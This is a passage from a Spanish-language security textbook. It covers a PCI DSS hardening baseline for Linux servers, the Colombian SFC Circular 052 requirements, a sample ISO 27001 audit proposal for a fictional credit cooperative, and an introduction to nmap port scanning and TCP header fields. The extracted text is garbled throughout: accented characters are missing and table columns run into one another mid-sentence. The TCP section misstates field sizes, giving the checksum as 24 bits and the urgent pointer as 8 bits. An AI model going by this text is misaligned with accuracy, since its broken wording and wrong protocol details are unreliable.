80/tcp Servidor web VMWARE.


443/tcp Servidor web seguro
SSL.
902/tcp
ideafarm-chat
Autenticacin Vmware.

IP=

Symantec Consola Antivirus (Windows)

Sistema operativo:

Servidor web:

Nombre:

Mac Address:

76

sesiones

80/tcp Servidor web

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Cuestionamientos:
Que requerimientos mediante numerales de la norma se deben cumplir con esta plantilla de lnea base para
puertos abiertos?

Debera cumplirlo si no cuentan con redes de datos de datafonos, solamente se conectan va lnea telefnica
por medio de los datafonos?

8.3.

Prctica: Diseo de una lnea base para la configuracin de sistemas operativos

Problemtica a resolver:

La empresa ficticia Cooperativa de Crdito Credifcil debe cumplir con la norma PCI DSS 1.2 dado
que acepta pagos de sus afiliados por medio de tarjetas dbito y crdito en todas sus oficinas
Especificamente se desea construir una lnea base por cada sistema operativo para que al
configurar un nuevo servidor se tengan en cuenta las configuracin bsicas y de seguridad mnimas
requeridas
Usted como proveedor de consultoria en seguridad de la informacin (globalteksecurity) ha sido
seleccionado para resolver este problema y debe entregar dos documentos en formato Word con la
propuesta de la lnea base para dos tipos de sistemas operativos

Objetivo de la prtica:

Generar una plantilla de cmo hacer una lnea base de configuracin de sistemas operativos
Generar una lnea base de configuracin para un servidor Linux
Generar una lnea base de configuracin para un servidor Windows

Desarrollo de la plantilla:
Titulo: Lnea base de configuracin para servidores Linux
Empresa: Cooperativa de Crdito Credifcil
Autores:
Revisiones de este documento
Versin

Descripcin del cambio

Capitulo,
seccion, Pagina

Revisado por

Fecha

Definicin: Una lnea base es un concepto de gestin de la configuracin que lleva a controlar los cambios
sin impedir cambios justificados.
Objetivo: El objetivo de este documento es disminuir el riesgo en seguridad informtica debido a fallas de
instalacin y configuracin es por ello que la siguiente lista de chequeo propone una lnea base para auditar
el cumplimiento de la norma PCI versin 1.2, ISO 27002:2005 o cualquier otro estndar de seguridad
informtica.

77

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Punto de chequeo

Implementacin de controles

Justificacin

1.

Se debe leer el archivo


/var/log/messages para la mayora
de alarmas que emite el sistema
Linux

Permite encontrar eventos


sospechosos, IRQ
duplicados y eventos que
hayan alcanzado un nivel
de alarma crtico

Revisin de Logs

Es altamente recomendable contar


con un servidor centralizado de
logs, para el caso de Linux se debe
editar el archivo o fichero
/etc/syslog-ng/syslog-ng.conf:

destination loghost
{udp("192.168.100.222 port(514));};
log { source(src);
destination(loghost); };
Ahora este servidor linux mandar
los logs a otro servidor de logs en
la red y quedaran centralizados en
192.168.100.222.

/var/log/mail para sistemas de


correos
/var/log/samba/smb.log y
/var/log/samba/nmb.log para
servidores de archivos samba
/var/log/xinetd.conf para los
servicios de red que administra el
demonio xinetd

SUSE hace rotar el archivo


de logs y comprime los
ms antiguos.
Para buscar errores en
fallas de correos o ataques
de tipo DoS.
Para buscar errores en
configuracin de samba o
ataques por medio de virus
a sistemas de archivos
microsoft.

Ms informacin en:
http://freshmeat.net/projects/sy
slog-ng/

2.

Afinamiento del kernel

Editar el archivo o fichero


/etc/sysctl.conf

3.

Revisar consumo de sistemas


de archivos

Ejecutar la herramienta del sistema


df h

Muestra los servicios de


red administrador por el
demonio xinetd. Este
servicio reemplaza el
antiguo inetd.
Permite establecer las
cuotas de recursos crticos
como nmero mximo de
archivos, nmero mximo
de procesos, shared
memory, semforos,
conexiones de red, este es
un proceso crtico para
ajustar los aplicativos
crticos como sistemas de
gestin de bases de datos
o servidores de
aplicaciones

Si el sistema de archivos
ha consumido ms del
70% pronto se volver
lento y la posibilidad de
colapso del sistema ser
inminente
Se deben borrar los
archivos / ficheros
innecesarios que genera el
sistema en su
procesamiento o carga
normal de trabajo

4.

Desactivar servicios de red


innecesarios
Los servicios de red que no se
necesiten elevan las
vulnerabilidades.
Se deben revisar los servicios
de red innecesarios que

Editar archivo /etc/inetd.conf o


/etc/xinetd.d y poner el signo # o
comentarios por cada lnea de
servicio de red a ser desactivado.
/etc/init.d/rc5.d/S99xxx, se debe
mover el archivo que identifica al
servicio de red haciendo que la
primera letra sea minscula.

78

Desactivar servicios
inseguros como snmp,
xwindows y nfs
Desactivar servicios no
usados como la ejecucin
de comandos remotos,
servicios como echo,
finger, chargen, time,

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

pop3, etc

puedan ser vulnerados para


atacar nuestros sistemas de
informacin: se debe ejecutar
el comando netstat a A inetd
p

Desactivar sendmail y POP


para que el servidor no se
use para enviar correos si
el servidor no es de correo

La opcin p le mostrara el
proceso que es responsable
del servicio o puerto que desea
cerrar

nicamente dejar los


servicios seguros como ssh
o vpn

Con el nombre del proceso se


va a la carpeta
/etc/init.d/rc5.d
Se busca el proceso con el
comando grep proceso *
Ahora aparece el Shell de
arranque donde se inicia el
servicio del puerto deseado
que se desea cerrar
Supongamos que el Shell de
arranque se llama Sxxservicio
Apague el servicio con el
comando ./Sxxservico stop
Ahora cambie la primera letra
la S por s, es decir s
minscula para que el servicio
no vuelva a subir cuando
reinicie el sistema, as:
# mv Sxxservicio sxxservicio
5.

Anlisis de vulnerabilidades

No sirven para aplicaciones web.

Hacer un reporte de
vulnerabilidades donde s
incluya el cmo dar
solucin a cada
vulnerabilidad una vez
instalado el sistema
operativo y repetirlo con
alguna frecuencia para
gestionar las
vulnerabilidades.

Para vulnerabilidades de aplicaciones


web existen otras herramientas
como Acunetix, IBM appscan.

Para una verificacin en


esta lnea base se debe
seguir el anexo nmero 1.

Usar herramientas para detectar las


fallas del sistema operativo y de las
aplicaciones web
Catbird como appliances y nessus
como software de servidor son
herramientas para el anlisis de
vulnerabilidades de red.

Coreimpact no solo hace anlisis de


vulnerabilidades web sino hacking
tico para estaciones clientes y
servidores de aplicaciones.
6.

Actualizacin de suplementos

Buscar en la pgina web del


respectivo empaquetador de Linux,
para el caso de SUSE Linux la pagina
web es www.novell.com
La herramienta para hacer
actualizacin de suplementos en
lnea es you (Yast Online Update).

79

Poner con alguna


frecuencia por ejemplo
mensualmente la ltima
versin de suplementos
por cada sistema operativo
Debe quedar una mtrica
gestionada respecto de la
actualizacin de

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

7.

Hacer Copias de seguridad y


revisarlas para garantizar su
disponibilidad

Este servicio de actualizacin tiene


costo anual.

suplementos para hacer


seguimiento del
cumplimiento respectivo

Con la herramienta tar hacer backup


de las carpetas criticas del sistema

Como mnimo se le debe


hacer backup o copias de
seguridad a los siguientes
archivos:

Se recomienda la herramienta cpio


cuando las rutas de los archivos sean
mayores a 127 caracteres de largo
Un ejemplo que comprime al mximo
en servidores Linux es:
#tar cvjf x.tar.bzip2 archivos
La opcin j comprime en formato
bzip2

8.

9.

Gestin del rendimiento del


sistema ante la carga de
trabajo presupuestada
Integridad y seguridad de
archivos claves del sistema

Es crtico que los archivos


fundamentales del servidor no
sean modificados sin autorizacin
Existe software libre y comercial
para hacer seguimiento y gestin:
OSSEC.
http://tripwire.org/
http://sourceforge.net/projects/a
ide
http://sourceforge.net/projects/s
amhain

10. Polticas de claves de acceso

Ms informacin en:
http://www.tin.org/bin/man.cgi?secti
on=5&topic=login.defs

11. Acceso de usuarios como root


SUDO
http://www.linuxhelp.net/guides/sudo/
12. Tareas programadas /CRON
solo ejecutadas por el usuario
root
CRON automatiza la ejecucin de
tareas programadas.

La sintaxis es:
Minutos
Horas
Dia_del_mes
Mes
Dia_de_la_semana
Comando

13. Acceso remoto por medio de


SSH
Para evitar ataques de fuerza bruta se
recomienda el software denyhosts
(http://denyhosts.sourceforge.net/).

80

/etc/passwd
/etc/shadow
/etc/group
/etc/sysctl.conf
/etc/inetd.conf
/etc/xinet.d
/etc/profile
/.profile
/etc/cups
/etc/samba

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

14. Seguridad en el servidor web


apache
15. Deteccin de intrusiones IDS
16. Proteccin antivirus
17. Desactivacin del servicio de
correos

18. Cifrado de datos confidenciales

Cuestionamientos:
Que requerimientos mediante numerales de la norma se deben cumplir con esta plantilla de lnea base para
configurar sistemas operativos?

Debera cumplirlo si no cuentan con centros de computos locales?, todos los servidores AS400, Linux y
Windows estn en un centro de computo en hosting (remoto) y no son de propiedad de la empresa auditada.

8.4.

Bibliografa

[1]. PCI DSS Requirements and security Assessment Procedures, versin 1.2 de fecha octubre 3 de 2008,
pgina 3. URL
http://www.scippinternational.org/SCIPP_InternationalSecureWebApplicationTraining__files/PCI_DSS_6.5.pd
f
[2]. Normas de Seguridad de Datos de la Industria de Tarjetas de Pago (PCI DSS), Exploracin de
PCI DSS, https://www.pcisecuritystandards.org/pdfs/spanish_navigating_pci_dss_v1-1.pdf

[3].
The
Prioritized
Approach
to
Pursue
PCI
DSS
https://www.pcisecuritystandards.org/education/docs/Prioritized_Approach_PCI_DSS_1_2.pdf

81

Compliance,

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

9.0 Auditora al sistema de seguridad de la informacin


Esta seccin tiene como objetivo preparar al lector para comportarse como un auditor del sistema de gestin
de seguridad de la informacin ISO27001 con requerimientos de cumplir la circular 052 emitida por la
entidad de control superfinanciera de Colombia (SFC): Para estos ejemplos se seguir utilizando la empresa
ficticia Cooperativa de Crdito Credifcil y se utilizarn casos de de estudio donde se tipifcan ejemplos de
la vida real:
Organizacin auditada: Credifacil
Entidad de control financiero: Superfinanciera de Colombia - SFC
Entidad de consultora que har la auditora: globalteksecurity
Normas que se deben auditar: ISO IEC 27001:2005 y Circular 052 de la SFC

9.1 Ejemplo de requerimientos emitidos por una entidad de control: Circular 052 SFC
La Superintendencia Financiera de Colombia expidi la Circular Externa 052 de 2007, la cual incrementa los
estndares de seguridad y calidad para el manejo de la informacin a travs de medios y canales de
distribucin de productos y servicios que ofrecen a sus clientes y usuarios las entidades vigiladas por esta
Entidad.
mbito de aplicacin
Las instrucciones impartidas debern ser adoptadas por todas las entidades sometidas a la inspeccin y
vigilancia de la SFC, con excepcin de las indicadas en el numeral primero de la mencionada Circular.
Los Canales a los que hace referencia los requerimientos de la circular son: Oficinas, Cajeros Automticos
(ATM), Receptores de cheques, Receptores de dinero en efectivo, POS (incluye PIN Pad), Sistemas de Audio,
Respuesta (IVR), Centro de atencin telefnica (Call Center, Contact Center), Sistemas de acceso remoto
para clientes (RAS), Internet y Dispositivos mviles; y los Medios son: tarjetas dbito y crdito.

Entrada en vigencia de la circular


La implementacin se har en tres etapas: la primera inicia el 1 de julio de 2008, la segunda el 1 de enero
de 2009 y la ultima el 1 de enero de 2010.
A continuacin se citan algunas de las instrucciones y fechas de implementacin que podran tener mayor
trascendencia para los clientes y usuarios del sistema financiero:
Primera etapa - 1 de julio de 2008
3.4
3.4.3
3.4.4

3.4.8

4.4
4.4.1
4.5
4.5.5
4.5.6
4.6
4.6.1
4.9
4.9.3

Divulgacin de informacin
Establecer las condiciones bajo las cuales los clientes podrn ser informados en lnea acerca de las
operaciones realizadas con sus productos.
Informar y capacitar a los clientes acerca de las medidas de seguridad que debern tener en cuenta
para la realizacin de operaciones por cada canal, as como los procedimientos para el bloqueo,
inactivacin, reactivacin y cancelacin de los productos y servicios ofrecidos.
Entregar constancia, dentro del procedimiento de cancelacin solicitado por el cliente, de un
producto, en la que se advierta encontrarse a paz y salvo por todo concepto, asegurndose que los
futuros reportes a las centrales de riesgo sean consistentes con su estado de cuenta. Tratndose de
tarjetas de crdito dicha constancia deber entregarse al cliente en un tiempo mximo de cuarenta y
cinco (45) das, contados a partir de la fecha de solicitud de la cancelacin.
Receptores de Dinero en Efectivo
Contar con mecanismos que verifiquen la autenticidad y denominacin de los billetes.
POS (incluye PIN Pad)
Velar porque la informacin confidencial de los clientes y usuarios no sea almacenada o retenida en el
lugar en donde los POS estn siendo utilizados.
Contar con mecanismos que reduzcan la posibilidad de que terceros puedan ver la clave digitada por
el cliente o usuario.
Sistemas de Audio Respuesta (IVR)
Permitir al cliente confirmar la informacin suministrada en la realizacin de la transaccin.
Internet
Promover y poner a disposicin de sus clientes mecanismos que reduzcan la posibilidad de que la
informacin de sus transacciones pueda ser capturada por terceros no autorizados durante cada

82

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

6.
6.7
6.9

sesin.
Obligaciones Especficas por Tipo de Medio Tarjetas dbito y crdito
Ofrecer a sus clientes mecanismos que brinden la posibilidad inmediata de cambiar la clave de la
tarjeta dbito en el momento que estos lo consideren necesario.
Emitir tarjetas personalizadas que contengan al menos la siguiente informacin: nombre del cliente,
indicacin de si es crdito o dbito, nombre de la entidad emisora, fecha de expiracin, espacio para
la firma del cliente y nmero telefnico de atencin al cliente.

Segunda etapa - 1 de enero de 2009


3.1
3.1.9

3.1.13
3.4
3.4.2

4.3
4.3.1

Obligaciones generales - Seguridad y Calidad


Disponer de los mecanismos necesarios para que los clientes tengan la posibilidad de personalizar las
condiciones bajo las cuales se les prestar servicios por los diferentes canales, dejando constancia de
ello. En desarrollo de lo anterior, la entidad deber permitir que el cliente, por lo menos, inscriba las
cuentas a las cuales realizar transferencias o pagos, defina montos, nmero de operaciones y
canales. En cualquier caso, los montos mximos debern ser definidos por la entidad. As mismo,
deber permitir que el cliente registre las direcciones IP, los nmeros de los telfonos fijos y mviles
desde los cuales operar. La entidad podr determinar los procedimientos que permitan identificar y,
de ser necesario, bloquear las transacciones provenientes de direcciones IP o nmeros fijos o mviles
considerados como inseguros.
Elaborar el perfil de las costumbres transaccionales de cada uno de sus clientes y definir
procedimientos para la confirmacin de las operaciones que no correspondan a sus hbitos.
Divulgacin de informacin
Dar a conocer a sus clientes y usuarios, por el respectivo canal y en forma previa a la realizacin de la
operacin, el costo de la misma, si lo hay, brindndoles la posibilidad de efectuarla o no. Tratndose
de cajeros automticos la obligacin solo aplica para operaciones realizadas en el territorio nacional y
cuyo autorizador tenga domicilio en Colombia.
Receptores de Cheques
Contar con mecanismos que identifiquen y acepten los cheques, leyendo automticamente, al menos,
los siguientes datos: la entidad emisora, el nmero de cuenta y el nmero de cheque.

Tercera etapa - 1 de enero de 2010


3.1
3.1.10
3.1.20

4.1
4.1.3

4.2
4.2.1

6.
6.6
6.11

Obligaciones generales - Seguridad y Calidad


Ofrecer, cuando el cliente as lo exija, la posibilidad de manejar una contrasea diferente para cada
uno de los canales.
Considerar en sus polticas y procedimiento relativos a los canales y medios de distribucin de
productos y servicios, la atencin a personas con discapacidades fsicas, con el fin de que no se vea
menoscabada la seguridad de su informacin.
Oficinas
Contar con cmaras de video, las cuales deben cubrir al menos el acceso principal y las reas de
atencin al pblico. Las imgenes debern ser conservadas por lo menos un (1) ao o en el caso en
que la imagen respectiva sea objeto o soporte de una reclamacin, queja, o cualquier proceso de tipo
judicial, hasta el momento en que sea resuelto.
Cajeros Automticos (ATM)
Contar con sistemas de video grabacin que asocien los datos y las imgenes de cada transaccin. Las
imgenes debern ser conservadas por lo menos un (1) ao o en el caso en que la imagen respectiva
sea objeto o soporte de una reclamacin, queja, o cualquier proceso de tipo judicial, hasta el
momento en que sea resuelto.
Obligaciones Especficas por Tipo de Medio Tarjetas dbito y crdito
Cuando la clave (PIN) asociada a una tarjeta dbito haya sido asignada por la entidad vigilada, esta
deber ser cambiada por el cliente antes de realizar su primera operacin.
Ofrecer a sus clientes tarjetas dbito y/o tarjetas crdito que manejen internamente cualquiera de los
mecanismos fuertes de autenticacin tales como: OTP (One Time Password), biometra, etc; dichas
tarjetas debern servir indistintamente para realizar transacciones en cajeros automticos (ATM), en
puntos de pago (POS), en Internet y en sistemas de audio respuesta (IVR).

Nota: La circular 052 de la SFC se puede descargar del sitio http://www.superfinanciera.gov.co

83

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

9.2.

Prctica: Matrz comparativa de la ISO 27002:2005 y la SFC 052

Problemtica a resolver:

9.3.

La empresa ficticia Cooperativa de Crdito Credifcil debe cumplir con la norma ISO 27001 y la
norma local SFC 052, dado que acepta pagos de sus afiliados por medio de tarjetas dbito y crdito
debe cumplir por ley la circular 052
Especificamente se desea construir una matrz que muestre las coincidencias entre las dos normas
Usted como proveedor de consultoria en seguridad de la informacin (globalteksecurity) ha sido
seleccionado para resolver este problema y debe entregar un documento en formato Word con la
matrz que compare las dos normas

Ejemplo para cotizar un requerimiento de auditora a la norma ISO 27001


Informacin Confidencial Credifacil

Tipo de
documento:

Oferta de servicios profesionales en seguridad de la informacin para la organizacin


Credifacil.

Clase de
servicio:

Auditoria tcnica anual en seguridad informtica

Fecha de
creacin:

Abril 18 de 2009

Versin:

1.0.0

Base de
requerimientos:

Entrevistas con la direccin de TI

Notas:

No existe un RFP (request for proposal) o SOW (statement of Work)

Objetivos del informe:


Basados en el principio de mejoras continuas que rige el SGSI de Credifacil, este documento busca ofertar
una auditoria tcnica de seguridad al sistema de gestin ISO 27001 implementado. Se busca disminuir los
incidentes de seguridad informtica mediante la revisin de la confidencialidad del cdigo fuente de los
desarrollos de software de la organizacin.
Justificacin: Es importante listar las necesidades que el auditado para que ms adelante se puedan
discriminar los requerimientos especficos en el alcance de la propuesta.
Alcance del trabajo:
Revisin del control de acceso a los activos de informacin correspondientes a los desarrollos de nuevos
productos con las siguientes fronteras:
La auditoria ser de carcter tcnico y no revisara los procesos que suceden alrededor del desarrollo de
software, nicamente se evaluarn:

El rea de desarrollo de software


Se entrevistar a los desarrolladores internos y externos (funcionarios/empleados temporales)
Se auditarn los servidores de control de versiones para el cdigo fuente,
Servidores web que ejecutan la capa de presentacin,
Servidores de bases de datos, los servidores de aplicacin que sirven de middleware y los
servidores de autenticacin LDAP
Se revisaran las bitcoras de los registros centralizados para evaluar cmo ocurrieron los incidentes
reportados.
La auditoria estar restringida nicamente a la plataforma de hardware que se ubica en el Centro
de procesamiento de datos o CPD con acceso por tarjeta de proximidad

84

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

No se har auditoria de oficinas diferentes a la oficina principal


Justificacin: El auditor debe describir punto a punto la cobertura del trabajo a realizar de acuerdo a las
diferentes entrevistas con el responsable de seguridad. Esto se debe a que en este ejemplo no se entrego
por parte del auditado un RFP o trminos de requerimientos, estos puntos fueron los pactados entre las
partes antes de emitir la cotizacin de servicios profesionales en seguridad informtica. Esto se hace porque
el xito de todo proyecto se basa en que debe estar muy el alcance pactado entre las partes. En las
entrevistas se encuentra que la razn del auditado para esta solicitud es el deseo de disminuir la mtrica de
incidentes acaecidos en el transcurso de los ltimos 12 meses.

Enfoque elegido:
Se recomienda hacer la auditoria tcnica en dos partes y ests tienen que ver con el ciclo de vida de
desarrollo del software SDLC as como los mecanismos de control de acceso a la informacin:
Parte I: Revisin de los mecanismos de control de acceso a la informacin
Parte II: Revisin de la gestin del ciclo de vida de los sistemas SDLC
Justificacin: No solo es crtica la revisin de los controles de acceso, se debe tener ms cuidado para este
caso en especial el desarrollo de software en casa respecto de las actividades criticas del negocio, estas
actividades diarias hacen que las organizaciones olviden implementar y revisar las diversas fases que
componen el ciclo de vida del desarrollo del sistema SDLC (System Development Life Cycle). Estos olvidos
generan la mayora de incidentes informticos de nuestros tiempos.

Metodologa y tipo de auditoria:


El tipo de auditora elegido para esta revisin es la auditoria segn el alcance: Revisin de los mecanismos
de control de acceso a la informacin y revisin de la gestin del ciclo de vida de los sistemas que est
basada en la metodologa de controles ISO/IEC 27002:2005
Especficamente se har la revisin de los captulos que tengan que ver con los mecanismos de control de
acceso a la informacin y como est la clasificacin y control de los activos segn la norma.
Finalmente se aplicaran metodologas especficas que generen controles respecto de la calidad del software
como NIST, ISECOM, OWASP, OISSG.
Justificacin: Se h elegido la metodologa segn su alcance debido a que esta metodologa permite
sistemticamente verificar la implantacin de controles de seguridad basados en normas de buenas prcticas
como ISO/IEC 27002:2005, Itil, Cobit e ISO 20000 para luego ser ms especifico con NIST, ISECOM u
OWASP.
Fases
Fase I: Definicin del plan de auditora, una vez aprobado por parte del auditado el alcance propuesto en
este documento se realizaran las siguientes acciones

Firmar el acuerdo de confidencialidad entre las partes


Aprobar o modificar las fechas de los periodos de pruebas del cronograma propuesto
Aprobar o modificar los periodos del da para realizar las pruebas
Entregar al auditado los procedimientos de comunicacin con los responsables del proyecto
Elaborar el inventario de polticas a ser comprobadas por la auditoria
Documentacin de las pruebas como se describe ms adelante en la seccin de pruebas del plan de
auditoria
Firma y aprobacin de las partes de este plan de auditoria

Fase II: Ejecucin de la auditoria

Recoleccin de informacin previa: recopila los requisitos del negocio y los riesgos asociados.
Leyes y regulaciones que afecten la problemtica en estudio.
Identificacin de cargos y roles para la seleccionar los funcionarios a entrevistar.
Se revisa la documentacin como polticas y procedimientos, se estudian los anlisis de
vulnerabilidades, se revisan las medidas de control o salvaguardas establecidas.

85

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Ejecucin de pruebas de auditora: Revisin de documentacin, realizacin de entrevistas, ejecucin


de pruebas tcnicas y realizacin de visitas tal como se describe ms adelante en la seccin
pruebas del plan de auditora
Anlisis de la informacin: Revisa la calidad de las polticas, se revisa la informacin recopilada
durante las pruebas, busca los incumplimientos de los controles, finalmente en esta fase se
encuentra la efectividad y la eficiencia de los controles de seguridad.

Fase III: Elaboracin y presentacin del informe

Resumen ejecutivo: Se entrega un resumen ejecutivo que muestra las fortalezas as como las
debilidades o fallos encontrados
Metodologa empleada: Muestra los criterios y el modo en que se realizo la auditoria. Se detallan
pruebas, entrevistas, herramientas y plazos
Listado detallado de de los hallazgos: Muestra los hallazgos clasificados por niveles para que el
auditado haga seguimiento de las mejoras propuestas
Anexos: Muestra los informes de las herramientas utilizadas, listas de chequeos y actas de
reuniones realizadas.

Tareas:

Revisin de los mecanismos de control de acceso a la informacin


Revisin de mecanismos de control de acceso lgico del usuario a recursos de red
Revisin de mecanismos de control de acceso lgico del usuario para limitar el acceso a la
informacin desde la aplicacin del usuario
Revisar si las aplicaciones implementan la lgica del negocio y los controles para evitar el uso
fraudulento
Comprobar las caractersticas de los procedimientos de gestin de derechos de acceso y se la
organizacin los implementa
Revisar la correcta implementacin de controles de filtrado de trfico en los cortafuegos
Verificar la seguridad en los accesos remotos a las redes corporativas
Verificar que se estn haciendo anlisis de vulnerabilidades
Verificar que se estn haciendo las pruebas de intrusiones
Revisin de la seguridad perimetral

Revisin de la gestin del ciclo de vida de los sistemas:

Revisar la planificacin del sistema en especial los requerimientos del negocio


Revisar el anlisis del sistema en especial los requerimientos del usuario
Revisar el diseo conceptual del sistema en especial las especificaciones del sistema
Revisar la evaluacin y seleccin del sistema en especial las alternativas y cul fue la solucin final
Revisar el diseo detallado del sistema
Revisar la programacin, instalacin y configuracin
Revisar las diferentes pruebas del sistema: Unitarias, Integracin, Aceptacin, Despliegue,
postimplementacin y mantenimiento del sistema

Justificacin: Es clave que se hagan estas revisiones, si la organizacin olvido alguno de estos punto
anteriores entonces est en riesgo la informacin que esos sistemas van a tratar as como el valor que
aportaran a la organizacin.

Pruebas del plan de auditora:


1) Revisin de documentacin

Se deben revisar los controles propuestos por la norma para ver si estn implementados y si estos
son idneos
Revisar el inventario de programas
Documentos de diseos del sistema evaluado
Procedimientos operativos de instalacin
Procedimientos operativos de autenticacin

2) Realizacin de entrevistas:

86

Parte I, Captulo 1: Fundamentos de la inseguridad de la informacin

Se entrevistarn al azar los programadores en especial los temporales (externos)


Se debe verificar que los programadores en general conozcan las polticas de seguridad informtica
(externos e internos)
Se debe verificar que los programadores aplican las polticas o detectar si esto no es as
Se debe evaluar si los programadores estn escondiendo el modo habitual de proceder o si han
olvidado las polticas

3) Ejecucin de pruebas tcnicas:

Se deben probar los controles y el uso de los accesos remotos


Se deben buscar malas configuraciones de servidores, puestos de trabajos y elementos de la
infraestructura de telecomunicaciones
Revisar las bitcoras o registros de todos los elementos activos de red del rea de desarrollo de
software
Se debe hacer anlisis de vulnerabilidades y hacking tico a todos los elementos activos de red

4) Realizacin de visitas fsicas:


Se debe comprobar en el puesto de trabajo fsico del usuario como opera el sistema de informacin.
Justificacin: Es importante validar con el auditado cada punto del plan de pruebas para evitar que los
cambios a detectar respecto de lo presupuestado no impliquen ms recursos de los planeados pues esto
elevara los costos y el auditado vera en el auditor la incapacidad o madurez para la planeacin.

Recursos, Cronograma de actividades y tiempos propuestos


globaltek security suministrara 4 auditores coordinados por un auditor lder en jefe quien suministrara los
informes diarios a la organizacin.
Esta auditora durara como mximo dos meses y los compromisos semanales son los siguientes:

Fase I: Definicin del plan de auditora. Una vez aprobado por parte del
auditado el alcance propuesto en este documento se realizaran las
siguientes acciones:

Una semana

Fase II: Ejecucin de la auditoria.

Cuatro Semanas

Fase III: Elaboracin y presentacin del informe.

Una semana

Fase IV: Lecciones aprendidas

1 da

Valor de la inversin:
US$30.000
50% a la firma del contrato y el restante 50% contra la firma del acta de entrega a satisfaccin.

87

PARTE II

INSEGURIDAD EN LA RED

88

Captulo 2
Exploracion de puertos de red

Objetivos:

Conocer como es el trfico de red que ocurre entre un usuario que requiere servicios y un servidor
de red que presta servicios en red

Conocer en detalle la herramienta tcpdump para hacer inspeccin de paquetes de red

Profundizar en las diferentes tcnicas de exploracin de puertos o servicios de red

Conocer en detalle la herramienta nmap para hacer exploracin de puertos en red

Prcticar en laboratorios las tcnicas ms conocidas de ataques como son: Syn Flood, Tcp Scan, Fin
Scan, Null Scan y rbol de navidad (Xmas tree scan)

1.0

Exploracin de puertos

La exploracin de puertos es una de las primeras etapas que el atacante elabora dentro del plan de ataque
para investigar o enumerar cuales servicios tienen la vctima activados.
Existen muchas herramientas para hacer exploracin de puertos pero en este documento solo se abordara la
ms utilizada y conocida en el entorno acadmico: nmap.
Nmap ha sido diseado para permitir a administradores de sistemas y gente curiosa en general el escaneo
de grandes redes para determinar que servidores se encuentran activos y que servicios ofrecen.

89

Parte II, Captulo 2 Exploracin de puertos de red

 Nmap

ha sido diseado para permitir a


administradores de sistemas y gente
curiosa en general el escaneo de
grandes redes para determinar que
servidores se encuentran activos y que
servicios ofrecen.

Figura 2-1: nmap y la exploracin de puertos de red


NMAP es compatible con un gran numero de tcnicas de escaneo como: UDP, TCP connect(), TCP SYN (half
open), ftp proxy (bounce attack), Reverse ident, ICMP (ping sweep), FIN, ACK sweep, Xmas Tree, SYN
sweep, and Null scan.
NMAP proporciona tambin caractersticas avanzadas como la deteccin remota del sistema operativo por
medio de huellas TCP/IP , escaneo tipo stealth (oculto), retraso dinmico y clculos de retransmisin,
escaneo paralelo, deteccin de servidores inactivos por medio de ping paralelos, escaneo con seuelos,
deteccin de filtrado de puertos, escaneo por fragmentacin y especificacin flexible de destino y puerto.
Se han hecho grandes esfuerzos encaminados a proporcionar un rendimiento decente para usuarios
normales (no administradores), por desgracia, muchas de las interfaces crticas del kernel (tales como los
raw sockets) requieren privilegios de administrador.
Entonces para efectos prcticos se debera ejecutarse nmap como el usuario root en sistemas Linux/unix
siempre que sea posible.

2.0

Sintaxis de la herramienta

nmap [Tipos(s)de escaneo] [Opciones] <servidor o red #1... [#N]>


En general, pueden combinarse aquellas opciones que tengan sentido en conjunto. Algunas de ellas son
especficas para ciertos modos de escaneo. NMAP trata de detectar y advertir al usuario sobre el uso de
combinaciones de opciones no permitidas. Tambin puede ejecutar el comando nmap -h para una ayuda de
referencia rpida con un listado de todas las opciones.

90

Parte II, Captulo 2 Exploracin de puertos de red

Formato de la cabecera (header) del protoclo TCP como lo ve nmap:

Figura 2-2: Trama TCP/IP

Puerto origen (16 bits). Puerto de la mquina origen. Al igual que el puerto destino es necesario
para identificar la conexin actual.

Puerto destino (16 bits). Puerto de la mquina destino.

Nmero de secuencia (32 bits). Indica el nmero de secuencia del primer byte que trasporta el
segmento.

Nmero de acuse de recibo (32 bits). Indica el nmero de secuencia del siguiente byte que se
espera recibir. Con este campo se indica al otro extremo de la conexin que los bytes anteriores se
han recibido correctamente.

Posicin de los datos (4 bits). Longitud de la cabecera medida en mltiplos de 32 bits (4 bytes).
El valor mnimo de este campo es 5, que corresponde a un segmento sin datos (20 bytes).
Reservado (6 bits). Bits reservados para un posible uso futuro.

Bits de cdigo o indicadores (6 bits). Los bits de cdigo determinan el propsito y contenido del
segmento. A continuacin se explica el significado de cada uno de estos bits (mostrados de
izquierda a derecha) si est a 1:

URG. El campo Puntero de urgencia contiene informacin vlida.


ACK. El campo Nmero de acuse de recibo contiene informacin vlida, es decir, el
segmento actual lleva un ACK. Se observa que un mismo segmento puede transportar
los datos de un sentido y las confirmaciones del otro sentido de la comunicacin.
PSH. La aplicacin ha solicitado una operacin push (enviar los datos existentes en la
memoria temporal sin esperar a completar el segmento).
RST. Interrupcin de la conexin actual.
SYN. Sincronizacin de los nmeros de secuencia. Se utiliza al crear una conexin
para indicar al otro extremo cual va a ser el primer nmero de secuencia con el que va
a comenzar a transmitir (no tiene porqu ser el cero).
FIN. Indica al otro extremo que la aplicacin ya no tiene ms datos para enviar. Se
utiliza para solicitar el cierre de la conexin actual.

91

Parte II, Captulo 2 Exploracin de puertos de red

Ventana (16 bits). Nmero de bytes que el emisor del segmento est dispuesto a aceptar por parte
del
destino.

Suma de verificacin (24 bits). Suma de comprobacin de errores del segmento actual. Para su
clculo se utiliza una pseudo-cabecera que tambin incluye las direcciones IP origen y destino.

Puntero de urgencia (8 bits). Se utiliza cuando se estn enviando datos urgentes que tienen
preferencia sobre todos los dems e indica el siguiente byte del campo Datos que sigue a los datos
urgentes. Esto le permite al destino identificar donde terminan los datos urgentes. Ntese que un
mismo segmento puede contener tanto datos urgentes (al principio) como normales (despus de los
urgentes).

Opciones (variable). Si est presente nicamente se define una opcin: el tamao mximo de
segmento que ser aceptado.

Relleno. Se utiliza para que la longitud de la cabecera sea mltiplo de 32 bits.

Datos. Informacin que enva la aplicacin.

3.0

Tipos de Exploracin soportados

3.1

-sT Escaneo TCP connect():

-sT Escaneo TCP connect():

 Es

la forma ms bsica de escaneo


TCP. La llamada de sistema connect()
